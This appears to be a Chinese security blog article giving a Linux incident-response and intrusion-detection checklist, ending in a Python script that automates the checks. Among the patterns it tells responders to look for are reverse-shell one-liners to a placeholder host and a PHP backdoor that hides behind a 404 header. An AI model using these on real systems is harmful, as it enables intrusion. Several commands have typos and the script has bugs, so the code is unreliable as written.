WEB層的入侵檢測一般會根據agent頭信息、POST包請求信息基於攻擊特徵結合多邏輯語句以及響應體檢測,HIDS基於主機層面去檢測,關於HIDS入侵檢測的內容比較多,這裡根據自己的經驗總結通用的應急流程,應急響應是個體力活,但是很有意思,攻防對抗中,誰更了解這個系統,誰就擁有主動權。本小白記憶力不好,特此記錄,也方便後期自己應急和升華。
前序文章:企業安全建設之HIDS
那基於主機層的應急響應和入侵檢測還是又很多相同的地方的,那區別點又在哪?
一.Linux應急響應或入侵檢測的檢查項目獲取了什麼信息?目的又是什麼?1.快照信息:HIDS可以獲取伺服器的當前運行情況的信息,基礎信息,日誌信息,便於安全監控和後期取證或深入分析;
2.異常檢查:初篩作用,初步做些排查和異常檢查,若發現異常,人工入侵分析;
3.入侵檢測:如 rkmod 等後門特徵檢查,包括歷史曾經發現過的後門檢查;
二. 入侵檢測和Linux應急檢查為對應關係,二者關注什麼地方和區別是什麼?1.應急響應人工肉眼看,適用於經驗分析;
2.入侵檢測使用分析腳本以及大數據自動化處理和判斷,適用於全面分析和大規模的數據分析;
3.入侵檢測一般回存儲到 ES 的 索引中,使用 常見的安全架構SOC分析工具來處理,也作為學習數據。
0x02:排查流程一:基礎信息(1)系統版本、主機名、內核版本收集分析項:最基本的提權方式,查看內核版本,搜索對應的exp進行提權
uname -a
(2)系統運行時間
分析方法:系統當前已經運行時間、時區等信息,在海量的日誌裡,在排除一些正常業務的日誌後,以時間/IP為準線是一個比較不錯的主線。
uptime
timedatectl
(3)網卡配置
分析方法:判斷網卡是否為混雜模式來確定機器是否在嗅探流量。
ip link show | grep PROMISC
(4)路由信息
分析方法:查找通過同一個路由表進出。
route -n
(5)arp信息
分析方法:
1.伺服器上arp 記錄應該是只有實際建立過連接的 IP 才有 arp,可以聚類檢查是否有超同組業務以外的 arp 地址。
2.mc地址對應的 ip 應該是固定的,可以檢查是否有 mac和 IP 不一致的,如有就是有 arp 欺騙
arp -a -n
(6)登錄用戶
分析項:有無爆破以及爆破痕跡,有無異常登錄痕跡
分析方法:
/etc/passwd
1.除root以為UID為0的帳號(UID為0的帳號也不一定都是可疑帳號,Freebsd默認存在toor帳號,且uid為0.(toor 在BSD官網解釋為root替代帳號,屬於可信帳號))
2.非系統管理員添加的具有shell權限的帳號
awk -F: '($3 == "0"&& $1!="root") {print}' /etc/passwd (查詢uid為0的帳號)
awk -F: '($4 == "0"&& $1!="root" && $1!="sync" &&$1!="shutdown" && $1!="halt" &&$1!="operator") {print}' /etc/passwd (查詢gid為0的帳號)
(7)具有 shell 環境的用戶——異常用戶
分析方法:
1.查看當前環境中具有shell權限的用戶,分析找出可疑用戶。
2.聚合統計,發現未知的異常用戶。
awk -F: '{if($7!~"nologin"&& $7!~"shutdown" && $7!~"halt"&&$7!~"false" && $7!~"sync") print}'/etc/passwd
(8)sudo授權信息——異常用戶權限
分析方法:
1.排除法,過濾掉正常用戶的sudo權限,找出那些無需密碼就可以執行root命令的用戶。
2.在同類數據中聚合這些異常權限用戶,統計可控的伺服器範圍
cat /etc/sudoers | grep -Ev"^$|#"
(9)登錄信息
分析項:
(a)last(數據源為/var/log/wtmp,wtmp文件中保存的是登錄過本系統的用戶的信息),統計系統所有用戶的登錄時間和信息,包括系統曾經進行過重啟操作的重啟時間信息,獲取用戶成功登陸的時間點和在線時長
1.用排除法,去掉正常登錄 IP,找出異常登錄 IP。
2.分析同一類業務的登錄 IP,看是否有超範圍的登錄。
3.單個主機上等於用戶統計分析,查看數據少的用戶是否為異常用戶
4.同一類數據登錄用戶進行聚合統計排序,查看數據少的用戶是否為異常用戶
5.last登錄用戶和ip是否是不常用用戶和ip,以及ip是否屬於公網ip
(b)lastlog 系統中所有用戶最近一次登錄信息(源為/var/log/utmp文件)
1.排查一般不可登錄的用戶是否曾經登陸過,以及登錄方式和登錄IP。
2.同類業務登錄用戶聚合排序(登錄用戶IP聚合排序),來排查惡意用戶控制的主機數量
(c) lastb(數據源為/var/log/btmp) 用於顯示用戶錯誤的登錄列表;
1.用排除法,去掉正常登錄錯誤 IP,找出異常登錄錯誤IP。
2.分析同一類業務的登錄錯誤 IP,看是否有超範圍的登錄。
3.同一類數據登錄用戶進行聚合統計排序,查看登錄錯誤過多IP是否存在登錄成功情況。
Ps:/var/log/wtmp 文件結構和/var/run/utmp 文件結構一樣,都是引用/usr/include/bits/utmp.h中的struct utmp;
(10)系統敏感文件/目錄
分析方法:
毋庸置疑,無論是weshell,還是後門總會對系統文件做修改的,分析有無可疑文件、系統新增文件
1.查找24小時內被修改的php文件——find ./ -mtime 0-name」*.php」`
2.查找72小時內新增的文件——find / -ctime 2
3.查找777的權限的文件——find / *.jsp -perm4777
4.查找以.開頭的隱藏文件——ls -ar |grep」^.」
TMP敏感目錄
最近剛爆發的WatchDogsMiner挖礦蠕蟲表現為/tmp臨時目錄存在watchdogs文件,出現了crontab任務異常、網絡異常、系統文件被刪除、CPU異常卡頓等情況
(11)異常訪問目標
分析方法:分析root用戶登錄時源IP位址,這裡的是主動SSH 外聯 IP。
1.獲取 /root/.ssh/known_hosts文件得到root用 戶登錄時源IP位址
2.通過白名單過濾,判斷是否有異常ssh 登錄;
3.通過同類型業務聚類,判斷是否有超範圍訪問。
awk '{print$1}' /root/.ssh/known_hosts
其他用戶登錄時源IP位址
分析方法:
這裡的是主動SSH 外聯 IP。
1.通過遍歷 /home/目錄下的用戶目錄,獲取 /home/*/.ssh/known_hosts文件得到該用戶登錄時源IP位址
2.通過白名單過濾,判斷是否有異常ssh 登錄;
3.通過同類型業務聚類,判斷是否有超範圍訪問。
for file in /home/*
do
if [ -d $file]
then
echo -e"$file" >> $ SSHKNOWN_HOSTS
awk '{print $1}'/$file/.ssh/known_hosts>>$ SSHKNOWN_HOSTS
fidone
(12)異常公鑰用戶
分析方法:分析異常root用戶公鑰登錄時公鑰信息
1.獲取 /root/.ssh/authorized_keys文件得到root用戶公鑰登錄時公鑰信息
2.根據白名單過濾root下公鑰用戶,查找異常的用戶。
3.在同類數據中聚合統計,找到超過範圍的異常公鑰用戶。
awk '{print $1,$3}' /root/.ssh/authorized_keys
其他用戶公鑰登錄時公鑰信息
分析方法:
1.通過遍歷 /home/目錄下的用戶目錄,獲取 /home/*/.ssh/authorized_keys文件得到該用戶公鑰登錄時公鑰信息
2.根據白名單過濾公鑰用戶,查找異常的用戶。
3.找出超過範圍的異常公鑰用戶。
for file in /home/*
do
if [ -d $file ]
then
echo -e"$file" >> $ SSHKNOWN_KEYS
awk'{print $1,$3}' /$file/.ssh/authorized_keys >> $ SSHKNOWN_KEYS
fi
done
(13)防火牆配置信息
分析方法:
排查對已受訪問控制的服務和系統是否有不規範的防火牆信息
iptables -L-nv
(14)系統中rpm包校驗
分析方法:
-V校驗rpm包中的文件有無修改,沒有提示即沒有修改,主要驗證8個信息
rpm -aV
(1)開機啟動項
/etc/init.d是 /etc/rc.d/init.d 的軟連結,測試新裝的linux系統必須開啟的服務,其他根據自己的工作業務需求
ssd、rsyslog、network、crond
(2)/etc/rc.local 腳本內容——異常自動執行腳本
分析方法:
1.基於白名單過濾,查找異常的執行命令
2.基於已知的特徵做數量統計或異常行為分析。
cat /etc/rc.local | grep -Ev"^#$|^#"
配置文件會在用戶登陸之前讀取,這個文件中寫入了什麼命令,在每次系統啟動時都會執行一次,默認內容為touch /var/lock/subsys/local
(3)計劃任務
分析方法:
1.通過關鍵字發現root的惡意計劃任務,如(反彈命令)
2.白名單過濾找到異常的計劃任務
crontab -l 或者 crontab-c /var/spool/cron/ -l
ps:/etc/crontab為系統執行計劃,/var/spool/cron/為以帳號來區分每個用戶的執行任務
(4)/etc/cron.d 計劃任務內容——etc下異常計劃任務
分析方法:
1.白名單過濾找到異常的計劃任務
2.關注挖礦等計劃任務
find /etc/cron.d/ |xargs grep -Ev "^#"
(5)用戶定義的自啟動項
分析方法:
1.白名單過濾發現異常啟動項。
2.統計分析,查找未知的異常自啟服務
chkconfig --list
(6)系統自啟動項
分析方法:
1.白名單過濾發現異常啟動項。
systemctl list-unit-files | grep enabled
系統啟動項參考接
(7)系統內核模塊運行時的文件信息
分析方法:
1.根據文件夾時間戳,再白名單過濾找到未知的惡意內核模塊
2.根據安全報告/威脅情況分析有無惡意的內核模塊
默認系統內核模塊文件信息
ls -alt /sys/module
| 模塊 | 模塊 | 模塊 | 模塊 |
| 8250 | gf128mul | mousedev | snd |
| ablk_helper | ghash_clmulni_intel mptbase | snd_ac97_codec |
| ac97_bus | glue_helper | mptscsih | snd_ens1371 |
| acpi | hid | mptspi | snd_pcm |
| acpiphp | hid_apple | netpoll | snd_rawmidi |
| aesni_intel | hid_magicmouse | nf_conntrack | snd_seq |
| ata_generic | hid_ntrig | nf_conntrack_ipv4 snd_seq_device |
| ata_piix | i2c_piix4 | nf_conntrack_ipv6 snd_seq_midi |
| battery | i8042 | nf_defrag_ipv4 | snd_seq_midi_event |
| binfmt_misc | intel_idle | nf_defrag_ipv6 | snd_timer |
| block | intel_ishtp | nfit | soundcore |
| bridge | iosf_mbi | nf_nat | spurious |
| cdrom | ip6table_filter | nf_nat_ipv4 | sr_mod |
| configfs | ip6table_mangle | nf_nat_ipv6 | stp |
| cpuidle | ip6table_nat | nfnetlink | suspend |
| crc32c_intel | ip6table_raw | nf_reject_ipv4 | syscopyarea |
| crc32_pclmul | ip6_tables | nf_reject_ipv6 | sysfillrect |
| crc_t10dif | ip6table_security parport | sysimgblt |
| crct10dif_common | ip6t_REJECT | parport_pc | sysrq |
| crct10dif_generic | ip6t_rpfilter | pata_acpi | tcp_cubic |
| crct10dif_pclmul | ip_set | pcie_aspm | thermal |
| cryptd | iptable_filter | pciehp | tpm |
| debug_core | iptable_mangle | pci_hotplug | tpm_tis |
| dm_log | iptable_nat | pci_slot | tpm_tis_core |
| dm_mirror | iptable_raw | pcmcia_core | ttm |
| dm_mod | ip_tables | pcspkr | uhci_hcd |
| dm_region_hash | iptable_security | ppdev | usbcore |
| drm | ipt_REJECT | printk | usbhid |
| drm_kms_helper | ipv6 | processor | uv_nmi |
| drm_panel_orientation_quirks joydev | psmouse | vmd |
| dynamic_debug | kdb_main | pstore | vmw_balloon |
| e1000 | kernel | rcupdate | vmwgfx |
| ebtable_broute | keyboard | rcutree | vmw_vmci |
| ebtable_filter | kgdboc | rng_core | vt |
| ebtable_nat | kgdbts | scsi_dh_alua | watchdog |
| ebtables | libata | scsi_dh_rdac | workqueue |
| edac_core | libcrc32c | scsi_mod | xfs |
| efi_pstore | libnvdimm | scsi_transport_spi xhci_hcd |
| efivars | llc | sd_mod | xt_conntrack |
| ehci_hcd | lrw | serio_raw | xz_dec |
| fb_sys_fops | md_mod | sg | zswap |
| firmware_class | module | shpchp |
(8)內核模塊
分析方法:
1.白名單過濾,查找異常的內核模塊。
2.相同類型統計分析,發現被植入的未知的內核模塊
3.不斷的根據業務擴充白名單
排查系統常見白名單
lsmod |./busybox grep -Ev"Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_nat|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"
(9)運行進程
分析方法:
1.根據白名單過濾發現父進程為1的異常進程。
2.根據cpu使用率發現挖礦進程。
3.根據進程運行時間來發現異常進程。
4.查找無父進程的孤立進程
5.通過對比兩種方式獲取的進程數是否相等來判斷是否有正在運行的進程被隱藏
6.通過rootkit分析工具,如chkproc,chkrootkit,rootkit hunter
ps auxfww
案例:隱藏進程參考連結
(a)強行將進程 pid 變為 0,這種方法存在破綻因此不予考慮。
(b)系統啟動時會依據 /etc/fstab 文件內容來掛載分區,在 proc 分區掛載參數中加入 hidepid=2 參數後,登陸系統的用戶只能查看到當前用戶啟動的進程的信息。也就是說, tomcat 用戶只能看到屬於 tomcat 用戶進程的信息。
(c)ps命令和top命令從/proc文件系統中讀取進程信息並顯示出來。因此,如果一個進程的進程號沒有在/proc文件系統中反映出來,則這個進程被「隱藏」了,「隱藏」進程在ps或top命令的輸出不出現
(10)網絡連接信息
分析方法:
1.發現異常監聽埠進程,異常的連接通信。
2.與後面的lsof輸出結果做對比來發現異常埠和連接(命令替換或者rootkit過濾不完全)。
3.同類數據中聚合統計,如:pname,dst_ip,dst_port,src_port發現其惡意控制範圍
netstat -antup
(11)netstat輸出sockets信息
分析方法:
1.通過白名單過濾來發現具有socket連接的進程信息
netstat -plantux
(12)lsof獲取網絡連接信息
分析方法:
1.與上面netstat獲取的數據進行對比分析發現異常埠和連接
lsof -nPi | grep -v"127.0.0.1" |grep -v "::1"
ps:
1.netstat無權限控制,lsof有權限控制,只能看到本用戶
2.losf能看到pid和用戶,可以找到哪個進程佔用了這個埠
(13)進程文件
分析方法:
1.通過白名單過濾來發現異常進程。
2.發現已處於deleted狀態的異常進程
find /proc -path '/proc/sys/fs'-prune -o -print |xargs ls -al | grep'exe ->' | sort -u >tmp.txt
(14)進程文件MD5計算
分析方法:
1.根據版本,和已知MD5值作對比判斷文件是否被替換。
2.Md5可以diff原始文件或者通過 VT跑一跑,分析有沒有已知惡意程序
find /proc -path '/proc/sys/fs'-prune -o -print |xargs ls -al | grep "exe ->" |awk '{print$11}'|sort -u >> tmp.txt
for file in $( cat tmp.txt)
do
f=$( ls -tl $file|awk '{print$5}')
if [ $f -le 50000000 ]; then
md5sum $file >> exe.hash
fi
done
diff exe.hash exe1.hash
(15)具有SUID的可執行文件
分析方法:通過白名單顧慮發現可疑的就有suid權限的文件
已知可以用來提權的linux可執行文件有:
Nmap、vim、find、bash、more、less、nano、cp
默認具有SUID的可執行文件如下:
find / -user root -perm -4000 -print2>/dev/null
(16)進程中被刪除的文件
分析方法:
1.通過已刪除的文件名判斷是否為惡意的進程或者是被注入的惡意文件。
lsof | grep DEL
(17)rootkit檢測(難點)
分析方法:通過判斷 /sys/module/rkmod 文件夾是否存在來判斷是否感染已知的rkmod
if [ -d "/sys/module/rkmod" ];then
echo -e "/sys/module/rkmod rootkit kernel mod exist\n">> $rootkit_file
stat /sys/module/rkmod >> $ $rootkit_file
fi
日誌對於安全來說,非常重要,他記錄了系統每天發生的各種各樣的事情,你可以通過它來檢查錯誤發生的原因,或者受到攻擊時攻擊者留下的痕跡。日誌主要的功能有:審計和監測。他還可以實時的監測系統狀態,監測和追蹤侵入者等等。
在linux系統中,有三個主要的日誌子系統:
連接時間日誌—由多個程序執行,把紀錄寫入到/var/log/wtmp和/var/run/utmp,login等程序更新wtmp和 utmp文件,為了能夠跟蹤誰在何時登錄到系統;
進程統計—由系統內核執行,當一個進程終止時,為每個進程往進程統計文件(pacct或acct)中寫一個紀錄,進程統計為系統中的基本服務提供命令使用統計;
錯誤日誌—由syslogd執行,用戶程序和內核通過syslog向文件/var/log/messages報告值得注意的事件
對日誌的理解:
1.我能從何處得到等多的信息;
2.怎樣才能確定以上日誌所描述內容的真實性
3.日誌顯示的內容會有什麼影響
4.接下來會發什麼,後面應該再關注那些其他事件的發生
5.我應該怎麼做,該有怎樣的緊急防禦措施和應對方案
日誌關注的內容:
1.系統狀態信息——可能影響系統的故障
2.攻擊的嘗試何刺探——成功的攻擊
3.系統接近某些參數的高值——系統容量將要用盡或者達到某個最高值造成的原因
4.系統變更——可能導致安全和可用性問題的系統變更
5.成功的登錄——失敗的登錄
6.例行和自動化配置變更——安全相關配置變更
7.連接建立/終止——檢測未授權連接
8.系統啟動/關閉——系統奔潰
9.硬體狀態信息——硬體的失效
(1)web日誌
分析項:
1.對不存在的文件過度訪問
2.看上去是url的一部分的代碼(sql,html)
3.訪問接受用戶輸入的危險頁面
4.一般情況下排除用戶認證失敗(錯誤代碼:401,403)、無效的請求(錯誤代碼:400)、內部伺服器錯誤(錯誤代碼:500)
5.統計學,如統計訪問量較多的IP、訪問業務較少的動態的疑似webshell的頁面
……
當然也不同一概而論,如果排查400的錯誤頁面,如訪問shell.php,會得到日誌
<?php
phpinfo();
?>
稍微改變下後門,添加header一句代碼之後就會是
<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>
(2)Audit日誌
Linux審計系統提供了一種跟蹤系統上與安全相關的信息的方法。基於預先配置的規則,審核生成日誌條目以記錄儘可能多的關於系統上發生的事件信息。使用auditd可以實現如下場景的審計監控:
1.監控文件訪問
2.監控系統調用
3.記錄用戶命令執行
4.記錄安全事件
5.執行審計搜索
6.統計概要報表
7.監控網絡訪問
a).錯誤登錄日誌
分析方法:
1.根據錯誤登錄頻次發現異常登錄用戶、登錄IP。
2.與passwd_login_users標籤數據作對比,發現異常用戶。
3.判斷是否有超正常範圍的 IP 登錄記錄。
4.同類數據聚合統計acct用戶,數量極少的用戶需要人工排查
grep -i "fail"/var/log/audit/audit.log*
b).sudo操作日誌
分析方法:
1.排除法,過濾掉正常用戶的sudo權限
2.在同類數據中聚合這些異常權限用戶,統計可控的伺服器範圍
grep -i "sudo"/var/log/audit/audit.log*
c).信息統計
分析方法:獲取系統近一個月的統計信息,如:用戶數量,錯誤登錄用戶數,執行命令數,事件數等
Aureport
d):其他分析
分析方法:
1.根據業務排除系統正常的操作日誌
2.分析有無類似無bash環境的用戶的操作記錄,如apache用戶的操作等
(3)bash_history
分析方法:
1.有無反彈shell
2.有無敏感的操作記錄,如刪除日誌、埠轉發等內網滲透操作
bash -i >& /dev/tcp/ip/port 0>&1
python -c "import os,socket,subprocess *
nc -e /bin/bash *
(4)登錄日誌
1.獲取 /var/log/ 目錄下 audit、btmp、wtmp、secure、cron、lastlog日誌
2.異常常登錄、異常用戶、異常計劃任務;
3.用排除法,去掉正常登錄 IP,找出異常登錄 IP;
4.通過白名單過濾,判斷是否有異常ssh 登錄;
5.統計確認是否有異常計劃任務;
6.排除系統正常業務簡化內容
7.通過人工確認
last
這個命令可用於查看我們系統的成功登錄、關機、重啟等情況,本質就是將/var/log/wtmp文件格式化輸出,因此如果該文件被刪除,則無法輸出結果。
相關命令:
last -10(-n) 查看最近10條記錄
last -x reboot 查看重啟的記錄
last -x shutdown 查看關機的記錄
last -d 查看登陸的記錄
last –help 命令幫助信息
lastb
這個命令用於查看登錄失敗的情況,本質就是將/var/log/btmp文件格式化輸出。
相關命令:
lastb name(root) 查看root用戶登陸失敗記錄
lastb -10(-n) 查看最近10條登陸失敗記錄
lastb –heplp 命令幫助信息
lastlog
這個命令用於查看用戶上一次的登錄情況,本質就是將/var/log/lastlog文件格式化輸出。相關命令:
lastlog 所有用戶上一次登陸記錄
lastlog -u username(root) root用戶上一次登陸記錄
lastlog –help 命令幫助信息
who
這個命令用戶查看當前登錄系統的情況,本質就是將/var/log/utmp文件格式化輸出。主要用來查看當前用戶名稱,以及登陸的ip地址信息,w命令與who一樣,會更詳細一些。
(5)系統日誌
如常見的secure、cron日誌,結合業務進行分析
1.linux命令組合拳的使用
grep -ev 'ssh|telnet' /var/log/messages 查看除了包含ssh和telnet之外的所有日誌
gerp -f patterns /var/log/messages 查看匹配文件「patterns」中模式所有的消息
cat messages |awk 「{print $4}」|sort -u 查看文件記錄了那些設備
關鍵的信息點
關注點關鍵詞成功登陸的用戶「Accepted password」、「Accepted publickey」、「session opened」失敗的用戶登錄「authentication failure」、「new user」、「deleteuser」用戶註銷「session closed」用戶帳戶更改或者刪除「password changed」、「new user」、「deleteuser」sudo操作「sudo:…COMMAND=…」,」failed su」服務故障「failed」、」failure」0x03:半自動化以下內容可能會辣眼睛,觀看時請不要喝水,linux實現常用shell,安全的小夥伴們一般都比較不一樣的風格,用python實現簡單的功能吧~
system()數打開一個子shell來執行系統命令,其返回值只會返回一個狀態碼,popen()會打開一個管道,返回結果是一個連接管道的文件對象,可以從該文件對象中讀取返回結果
#!/usr/bin/python3
# -*- coding:utf-8 -*-#
import os
import re
def info():
print("基礎版本信息")
print("-")
version=os.system("uname a")
print("logging users")
print("--")
logging_users=os.system("w")
print("系統運行時間")
print("--")
os_time=os.system("uptime")
#網卡信息
network=os.system('ip link show | grep PROMISC')
#路由信息
route=os.system("route -n")
#arp信息
arp=os.system("arp -a -n")
#顯示當前時間
time=os.system("timedatectl")
#掛載信息
mount=os.system("mount")
#目前登錄信息
logging_user=os.system("w")
#用戶目前和過去的登錄信息,對應/var/log/wtmp文件,last -f /var/log/wtmp
loggied_user=os.system("last")
#本地系統用戶最後一次登錄的信息,對應/var/log/utmp文件
logging_user_info=os.system("lastlog")
#用戶錯誤登錄的登錄列表,對應/var/log/btmp文件
logging_user_info=os.system("lastb")
#這裡可以做的事情:監控paasswd是否新增帳號;lastlog中系統用戶從未登錄過的用戶是否登錄;last登錄用戶和ip是否是不常用用戶和ip,以及ip是否屬於公網ip,lastb登錄錯誤的ip和用戶是否在last登錄成功的列表中
#具有shell登錄環境的用戶cat /etc/rc.local
#not_nologin_users=os.system("awk -F: '{if($7!~"nologin" && $7!~"shutdown" && $7!~"halt" && $7!~"false" && $7!~"sync") print}' /etc/passwd")
#sudo授權信息
sudo = os.system("cat /etc/sudoers | grep -Ev '^$|#'")
#root用戶登錄時的源ip地址
root_sshknow_hosts=os.system("awk '{print $1}' /root/.ssh/known_hosts")
#其他用戶登錄時源ip地址
#for file in os.system("ls /home"):system的結果為0,1等結果數值,無法取值進行循環
os.system("ls /home > 1.txt")
f = open("1.txt", "r")
for file in f.readlines():
file = file.strip()
path = "/home/" + file + "/.ssh/known_hosts"
# print(path)
a = os.path.exists(path)
# print(a)
try:
if a == True:
os.system("awk '{print $1}' %s" % path)
except FileNotFoundError:
pass
f.close()
#/etc/rc.local 腳本內容,默認內容為:touch /var/lock/subsys/local
auto_rclocal=os.system(' | grep -Ev "^#$|^#"')
#crontab任務計劃,crontab -l 或者 crontab -c /var/spool/cron/ -l,/etc/crontab為系統執行計劃,/var/spool/cron/為以帳號來區分每個用戶的執行任務
crontab=os.system('crontab -l')
#cron.d 為系統級任務計劃,crontab -l無法顯示
crond=os.system(' find /etc/cron.d/ |xargs ./busybox grep -Ev "^#"')
#用戶自定義啟動項
services=os.system('chkconfig --list')
system_servers=os.system('systemctl list-unit-files | grep enabled | grep -Ev "ups.path|abrt-ccpp.service|abrt-oops.service|abrt-vmcore.service|abrt-xorg.service|abrtd.service|accounts-daemon.service|atd.service|auditd.service|avahi-daemon.service|bluetooth.service|chronyd.service|crond.service|cups.service|dbus-org.bluez.service|dbus-org.fedoraproject.FirewallD1.service|dbus-org.freedesktop.Avahi.service|dbus-org.freedesktop.ModemManager1.service|dbus-org.freedesktop.NetworkManager.service|dbus-org.freedesktop.nm-dispatcher.service|display-manager.service|dmraid-activation.service|firewalld.service|gdm.service|getty@.service|gitlab-runsvdir.service|irqbalance.service|iscsi.service|ksm.service|ksmtuned.service|libstoragemgmt.service|libvirtd.service|lvm2-monitor.service|mdmonitor.service|microcode.service|ModemManager.service|multipathd.service|netcf-transaction.service|NetworkManager-dispatcher.service|NetworkManager-wait-online.service|NetworkManager.service|postfix.service|rngd.service|rsyslog.service|rtkit-daemon.service|smartd.service|spice-vdagentd.service|sshd.service|sysstat.service|systemd-readahead-collect.service|systemd-readahead-drop.service|systemd-readahead-replay.service|tuned.service|vmtoolsd.service|avahi-daemon.socket|cups.socket|dm-event.socket|iscsid.socket|iscsiuio.socket|lvm2-lvmetad.socket|lvm2-lvmpolld.socket|rpcbind.socket|default.target|graphical.target|nfs-client.target|remote-fs.target"')
#內核模塊運行時的文件信息
kernel_file=os.system("ls -alt /sys/module")
#內核模塊
lsmod=os.system('lsmod | grep -Ev "Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_na|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"')
#進程信息
pstreew=os.system('ps auxfw')
#網絡連接信息
network_listen=os.system('netstat -antup')
#lsof網絡連接信息,1.netstat無權限控制,lsof有權限控制,只能看到本用戶2.losf能看到pid和用戶,可以找到哪個進程佔用了這個埠
lsof_listen=os.system('lsof -nPi | grep -v "127.0.0.1" |grep -v "::1" |sort -u')
#網絡輸出sockets信息
network_connecttion=os.system("netstat -plantux")
#防火牆信息
iptables=os.system("iptables -L -nv")
#進程文件路徑https://blog.csdn.net/xuelin1036/article/details/41794487,https://www.cnblogs.com/aofo/p/6151266.html
#sys/fs用於描述系統中的所有文件系統
#排除/proc/sys/fs搜索所有exe表示具體的執行路徑
proc_exe=os.system("find /proc -path '/proc/sys/fs' -prune -o -print |xargs ls -al | grep 'exe ->' | sort -u")
#rpm包信息
rpm=os.system("rpm -aV")
#sshx相關rpm檢測
ssh_rpm=os.system("rpm -qa|grep ssh|xargs rpm -qV")
#日誌獲取
#history命令歷史記錄
history=os.system("history")
#其他用戶歷史記錄,無需判斷該用戶是否有shell,如apche用戶無history文件,若該用戶執行了命令,可從audit日誌中發現
os.system("ls /home > 1.txt")
f1 = open("1.txt", "r")
for file in f.readlines():
file = file.strip()
path = "/home/" + file + "/.bash_history"
a = os.path.exists(path)
try:
if a == True:
os.system("cat %s" % path)
except FileNotFoundError:
pass
f1.close()
#var相關log日誌獲取,audit日誌,btmp日誌,wtmp日誌,secure日誌,corn日誌,lastlog日誌
os.system("tar -zcf var_log.tar.gz /var/log/audit \/var/log/btmp* /var/log/wtmp* /var/log/secure* /var/log/cron* \/var/log/lastlog")
if __name__ == "__main__":
info()
文中根據自己的經驗和學習總結,能力有限,歡迎大佬補充,若有錯誤,還望大佬指正。
*本文原創作者:罹♛殤,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載